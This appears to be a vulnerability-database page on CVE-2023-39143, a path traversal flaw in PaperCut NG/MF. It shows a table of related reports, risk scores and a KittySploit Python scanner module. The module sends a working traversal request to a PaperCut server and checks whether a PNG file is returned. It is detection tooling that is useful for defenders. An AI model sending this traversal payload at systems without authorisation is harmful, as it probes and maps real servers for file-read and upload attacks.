PaperCut < 22.1.3 - Path Traversal Detection
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| CVE-2023-39143 | 4 Aug 202318:56 | – | circl | |
| Papercut PaperCut MF and PaperCut NG Path Traversal Vulnerabilities | 4 Aug 202300:00 | – | cnnvd | |
| CVE-2023-39143 | 4 Aug 202300:00 | – | cve | |
| CVE-2023-39143 | 4 Aug 202300:00 | – | cvelist | |
| CVE-2023-39143 | 13 Oct 202610:38 | – | kitploit | |
| PaperCut Path Traversal File Read (CVE-2023-39143) | 10 Aug 202611:19 | – | kittysploit | |
| PaperCut < 22.1.3 - Path Traversal | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-39143 | 4 Aug 202317:15 | – | nvd | |
| CVE-2023-39143 | 4 Aug 202317:15 | – | osv | |
| PaperCut MF < 20.1.9 / 21.x < 21.2.13 / 22.x < 22.1.3 Multiple Vulnerabilities | 17 Oct 202300:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PaperCut NG and PaperCut MF before 22."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PaperCut < 22.1.3 - Path Traversal Detection',
'description': 'PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'lfi', 'papercut', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-39143',
'https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/',
'https://www.papercut.com/kb/Main/securitybulletinjuly2023/',
'https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a',
'https://github.com/nomi-sec/PoC-in-GitHub',
],
'cve': 'CVE-2023-39143',
}
def run(self):
path = '/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = (r.text or "").lower()
content_type = (r.headers.get("Content-Type") or r.headers.get("content-type") or "").lower()
body_any = ('89504e470d0a1a0a',)
ctype_any = ('image/png',)
if (any(m in body for m in body_any)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='critical',
reason='PaperCut < 22.1.3 - Path Traversal detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.80065
SSVC